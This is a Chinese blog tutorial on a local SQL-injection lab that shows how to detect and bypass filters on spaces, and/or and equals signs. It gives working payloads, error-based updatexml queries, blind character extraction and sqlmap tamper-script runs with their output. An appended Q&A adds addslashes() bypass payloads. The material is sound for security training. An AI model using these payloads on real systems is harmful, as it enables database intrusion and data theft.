Bypass靶场实战-渗透测试---手把手教你SQL注入(9)---Bypass姿势(如何绕过过滤措施?)

Bypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)icon-default.png?t=N7T8http://t.csdnimg.cn/lHJ5D

书接上文,之前向大家讲解了在SQL注入过程中如何绕过各类常见的过滤措施,这里一方再结合相关靶场(靶场资源见本文的资源链接)来为大家深入解析Bypass的各种姿势🔍🔎-----

一.index1.php  空格被过滤

一.1 如何判断过滤内容?

输入正常数据时的回显如下图:

 通过如下的验证手段,初步断定?id=1这里存在注入,而且可能是联合注入

渗透测试----手把手教你SQL手工注入--(联合查询,报错注入)icon-default.png?t=N7T8http://t.csdnimg.cn/cfIyl

1. http://127.0.0.1/sqli-bypass/index5.php?id=1
2. http://127.0.0.1/sqli-bypass/index5.php?id=2     回显正常但内容不一样
    1和2说明这里可能存在联合注入
3. http://127.0.0.1/sqli-bypass/index5.php?id=1'    无回显
4. http://127.0.0.1/sqli-bypass/index5.php?id=1''   回显正常
    3和4说明这里的注入点可能是字符型的
5. http://127.0.0.1/sqli-bypass/index5.php?id=1/1   回显正常
6. http://127.0.0.1/sqli-bypass/index5.php?id=1/0   回显正常
    5和6说明不是数字型注入

现在试着构造轮子?id=1' and 1=1--+ 

靶场识别出来了我们的小伎俩,不要慌,正所谓“道高一尺魔高一丈”😇,这里很有可能是对我们输入的部分内容进行了过滤,试着判断过滤的是那部分内容---- 

1. 是不是过滤了注释?
    http://127.0.0.1/sqli-bypass/index1.php?id=1'--+
    显示“请勿SQL注入”,不能用--+来注释
    http://127.0.0.1/sqli-bypass/index1.php?id=1'#
    显示400错误,可能不是注释的问题
    http://127.0.0.1/sqli-bypass/index1.php?id=1'%23
    显示正常,需要将#替换为%23!
2. 是不是过滤了“=”?
    http://127.0.0.1/sqli-bypass/index1.php?id=1' and 1 like '1
    显示“请勿SQL注入”,可能不是=的问题
3. 是不是过滤了and/or
    http://127.0.0.1/sqli-bypass/index1.php?id=1' anand 1 like '1
    http://127.0.0.1/sqli-bypass/index1.php?id=1' %26%26 1 like '1
    显示“请勿SQL注入”,可能不是and/or的问题
4. 是不是过滤了空格?
    4.1.使用%0a(换行)代替空格:
       http://127.0.0.1/sqli-bypass/index1.php?id=1'%0aand%0a1%0alike%0a'1
       回显正常😍
    4.2.使用/**/代替空格:
       http://127.0.0.1/sqli-bypass/index1.php?id=1'/**/and/**/1/**/like/**/'1
       回显正常😍
    4.3.使用/*!1=1*/代替空格:
       http://127.0.0.1/sqli-bypass/index1.php?id=1'and/*!1=1*/%23
       回显正常😍  %23(#注释符)

 通过以上的思考过程,成功验证出靶场第一关对空格进行了过滤,当然,实战中的验证手段很有可能不会这么单一,有时会同时过滤空格、等号等运算符、and/or,还有的甚至会限制字节长度,这就需要我们灵活应对、见招拆招了🕵️‍♂️🕵️‍♀️

一.2 获取想要的数据:

手工注入:

这里假定我们想要获取的数据是数据库名---(实际的漏洞报告中一般也是像这样点到即止,只须获取到user()、database()这样的数据,证明这里存在相应的漏洞即可,至于获取username、password这样的敏感数据时一定要慎之又慎!👮‍♂️👮‍♀️

借助BurpSuite进行爆破:

GET /sqli-bypass/index1.php?id=1'and/*!mid(schema(),1,1)='❤'*/%23 HTTP/1.1

成功爆破出数据库名“dvwa”😍

借助SQLMAP进行注入:

SQLMAP的用法详解点这里:(。・∀・)ノ゙👇

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇icon-default.png?t=N7T8http://t.csdnimg.cn/bT5Vx如果不使用脚本而直接进行扫描的话,会发现由于有过滤措施而导致SQLMAP注入失败,这时我们就需要利用SQLMAP的--tamper参数,并指定专门针对空格被过滤而写的SQLMAP脚本

(有关SQLMAP绕过WAF的脚本名称请看本文的资源链接,这里先给出部分截图👇)

 没有指定脚本时,SQLMAP会提示失败:

PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master> 
python sqlmap.py -u 127.0.0.1/sqli-bypass/index1.php?id=1
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.5#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
[11:52:05] [WARNING] GET parameter 'id' does not seem to be injectable
[11:52:05] [CRITICAL] all tested parameters do not appear to be injectable. 
Try to increase values for '--level'/'--risk' options if you wish to perform more tests. 
If you suspect that there is some kind of protection mechanism 
involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

[*] ending @ 11:52:05 /2023-10-17/

 如下,需要再最后加上 --tamper space2mysqlblank

PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master> 
python sqlmap.py -u http://127.0.0.1/sqli-bypass/index1.php?id=1 
--tamper space2mysqlblank --dbms=mysql

 最终SQLMAP给出的结果如下(可以发现只是给出了找出的SQL注入类型,具体的操作还是要依靠手工注入)

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind  (布尔盲注)
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5648=5648 AND 'uDbk'='uDbk

    Type: UNION query           (联合注入)
    Title: Generic UNION query (NULL) - 8 columns  
    Payload: id=-2083' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(CONCAT('qzpqq','fmJzVFonQcCzKJYtIBWhIXkiFbcCjXyxFnmTHiSs'),'qqkjq'),NULL,NULL,NULL-- KmBt
---

总之,使用SQLMAP有时可以帮我们直接得到结果,但有时只能起到辅助作用,所以我们还是练好手工注入的基本功吧💪

二.index2.php and/or被过滤

二.1 如何判断过滤内容?

通过以下思考过程,很容易判断出这一关过滤了and:

1. GET /sqli-bypass/index2.php?id=1'--+ HTTP/1.1
    回显正常,说明--+注释可用
2.GET /sqli-bypass/index2.php?id=1'and+1=1--+ HTTP/1.1
    回显“请勿SQL注入!!!”
3.GET /sqli-bypass/index2.php?id=1'%26%26+1=1--+ HTTP/1.1
    回显正常,这里使用&&来代替and,而&&的URL编码就是%26%26

 二.2 获取想要的数据:

手工注入:

GET /sqli-bypass/index2.php?id=1'%26%26+mid(database(),1,1)='d'--+ HTTP/1.1
回显正常,说明数据库第一个字母为d

借助SQLMAP进行注入:

由于 这一关被过滤的是and,所以不能再用第一关的脚本,这里需要使用--tamper charencode(URL编码)

PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master> 
python sqlmap.py -u http://127.0.0.1/sqli-bypass/index2.php?id=1 --tamper charencode
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.5#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind   (布尔盲注)
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 3718=3718 AND 'oVFi'='oVFi

    Type: time-based blind       (时间盲注)
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5617 FROM (SELECT(SLEEP(5)))jFNg) AND 'yguL'='yguL

    Type: UNION query             (联合注入)
    Title: Generic UNION query (NULL) - 8 columns
    Payload: id=-4359' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162717a71,0x4a664957546d657148454d694c71716172484a577877564649497a6471794e697553614c464b654b,0x7162767a71),NULL,NULL,NULL,NULL-- -
---

三.index3.php  

 这一关和index2.php一样😊,都是过滤了and

四.index4.php回显中有错误信息:

这一关输入1'的时候发现回显有报错信息,或许可以利用报错注入----

同样地,这一关仍旧是过滤了and,只是这一关我们可以利用某些报错函数来进行报错注入---

GET /sqli-bypass/index4.php?id=1'%26%26(1=1)--+ HTTP/1.1
回显正常,这里and(1=1)实际上等同于and 1=1
GET /sqli-bypass/index4.php?
id=1'%26%26(updatexml(1,concat(0x7e,database()),1))--+ HTTP/1.1
利用updatexml()进行报错注入📐
响应包中给出了报错信息:

XPATH syntax error: '~dvwa'

 五,index5.php 等号和and被过滤

当输入and(1=1)--+时出现了像下面这样的报错信息:

You have an error in your SQL syntax; 
check the manual that corresponds to 
your MySQL server version for the right 
syntax to use near '(11)-- ' limit 1' at line 1   

发现后台将(1=1)直接变为(11)了,也就是将等号给过滤掉了,这里可以用(1 like 1)代替:

GET /sqli-bypass/index5.php?id=1'%26%26(1+like+1)--+ HTTP/1.1
回显正常,但是这里有个不足之处,使用%26%26(1=1)--+时也会正常回显(*≧︶≦))( ̄▽ ̄* )ゞ
GET /sqli-bypass/index5.php?id=1'%26%26(1=1)--+ HTTP/1.1
回显正常

 知道了过滤内容后,就可以获取想要的数据啦(❤ ω ❤):

GET /sqli-bypass/index5.php?id=1'%26%26(mid(schema(),1,1)like+'d')--+ HTTP/1.1
回显正常,下面试试报错注入:
GET /sqli-bypass/index5.php?id=1'%26%26(updatexml(1,concat(0x7e,schema()),1))--+
成功爆出数据库名:XPATH syntax error: '~dvwa'

总结:判断过滤内容的思路:

1.首先要先判断注释能否使用

?id=1'--+和?is=1'#交替结合对应的URL编码尝试一番

2.接着判断and/or能否使用

在MySQL中and可以用&&(%26%26)代替,or可以用||(%7c%7c)代替

一般来说,在盲注过程中需要使用and

3.最后判断等号、空格、特殊函数能否使用

等号可以用like、in、between...等代替

空格可以用%0a(换行符)、 /**/等代替

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
### 回答1: 在学习如何绕过过滤之前,我们需要了解一下 addslashes() 函数的作用是什么。 addslashes() 函数是 PHP 中一个用于转义字符串中的特殊字符的函数,它将字符串中的单引号(')、双引号(")、反斜杠(\)和 NUL(NULL 字符)都转义成了它们的转义序列。例如,如果我们要在字符串中使用单引号,那么就需要在前面加上一个反斜杠来转义它,如下所示: ``` $name = 'Tom\'s Blog'; ``` 在这段代码中,我们使用了反斜杠来转义了单引号,否则代码会报错。 而我们在注入时,通常会使用单引号来包裹注入语句,因此 addslashes() 函数会将我们注入语句中的单引号都转义掉,从而使得注入无法成功。 那么如何绕过这个过滤呢?我们可以使用双重 URL 编码的方式来绕过 addslashes() 函数的过滤。具体步骤如下: 1. 首先,我们需要将注入语句进行 URL 编码。例如,我们要注入的语句是: ``` ' or 1=1# ``` 那么我们可以使用 PHP 中的 urlencode() 函数对其进行编码: ``` %27%20or%201%3D1%23 ``` 2. 接下来,我们需要对已经经过一次 URL 编码的字符串再进行一次 URL 编码。这里我们可以使用浏览器自带的编码工具,将上一步得到的字符串进行编码,得到双重 URL 编码后的注入语句: ``` %2527%2520or%25201%253D1%2523 ``` 3. 最后,我们将双重 URL 编码后的注入语句作为参数发送给服务器,就可以成功地绕过 addslashes() 函数的过滤,实现注入了。 需要注意的是,双重 URL 编码的方式只是一种绕过 addslashes() 函数的方法,并不是通用的绕过过滤的方法。在实际渗透测试中,我们需要根据具体情况寻找合适的绕过方法。 ### 回答2: 首先,了解代码的过滤机制非常重要。在SQL注入演示的过程中,过滤通常是通过使用addslashes()函数来实现的。addslashes()函数用于在特定字符(例如单引号和双引号)之前添加反斜杠,以防止它们干扰SQL查询。 为了绕过这种过滤措施,我们可以利用一些技巧。以下是一些可能的方法: 1. 使用双写绕过:在传递给SQL查询的参数中,可以使用两个单引号(')来表示一个单引号。这样,即使在添加反斜杠之后,我们仍然可以成功注入。 2. 使用拼接字符串绕过:有时,代码可能会将用户输入的数据与其他字符串进行拼接,然后再进行查询。在这种情况下,我们可以使用的注入点是字符串的结束位置。例如,如果代码是这样的:$query = "SELECT * FROM users WHERE username='" . $username . "'";,我们可以在用户名参数中注入恶意代码,如' OR '1'='1'--。 3. 利用转义字符绕过:有时,代码会过滤掉反斜杠字符(\),因此我们可以使用它来绕过过滤。例如,我们可以尝试注入字符串:'\' OR '1'='1'--。 4. 使用注释绕过:有时,代码会过滤掉注释符号(例如--和/* */)。在这种情况下,我们可以使用注释来绕过过滤。例如,我们可以在注入代码之前添加注释符号,如' OR '1'='1'--。 5. 使用其他SQL关键字绕过:在某些情况下,代码可能过滤了'和"字符,但允许其他SQL关键字,如AND和OR。我们可以尝试使用这些关键字来构造有效的注入。 总结来说,绕过addslashes()过滤的方法包括双写、拼接字符串、转义字符、注释和其他SQL关键字。然而,这只是一些常见的方法,具体的绕过方式取决于代码的过滤机制和漏洞点。在实际情况中,我们需要仔细分析过滤规则,不断尝试不同的方法来绕过过滤,以实现成功的注入。重要的是要谨慎处理注入攻击,并采取适当的安全措施来防止此类漏洞的出现。 ### 回答3: 在sqli/Less-34中,代码使用了addslashes()函数对用户输入的数据进行过滤,目的是防止SQL注入攻击。addslashes()函数会自动在SQL语句中的特殊字符前添加反斜杠,以避免这些字符被误解为SQL语句的一部分。 然而,根据具体的情况,我们仍然可以绕过addslashes()函数的过滤,实现注入。以下是一种可能的绕过方法: 1. 利用addslashes()函数对'和"的过滤:addslashes()函数可能只会在单引号和双引号前添加一个反斜杠。我们可以利用这一点,使用闭合引号和转义字符,绕过过滤。例如,在输入中使用\'或\",可以使\'或\"不被addslashes()函数识别并过滤掉。这样,我们可以成功闭合前面的引号或语句,继续注入恶意的SQL代码。 尽管我们可以绕过addslashes()函数的过滤,但这不是一种安全的解决方法。最好的方式是使用预处理语句(prepared statements)或使用特定的SQL注入过滤器来防止SQL注入攻击。预处理语句能够有效地将输入数据与SQL语句分离,从而防止恶意注入。SQL注入过滤器能够识别并阻止恶意SQL代码的执行,提供更高的安全性。 无论如何,在编写代码时,应尽量避免手动编写SQL查询语句,并始终保持警惕,及时更新和修复可能存在安全漏洞的代码。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洛一方

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值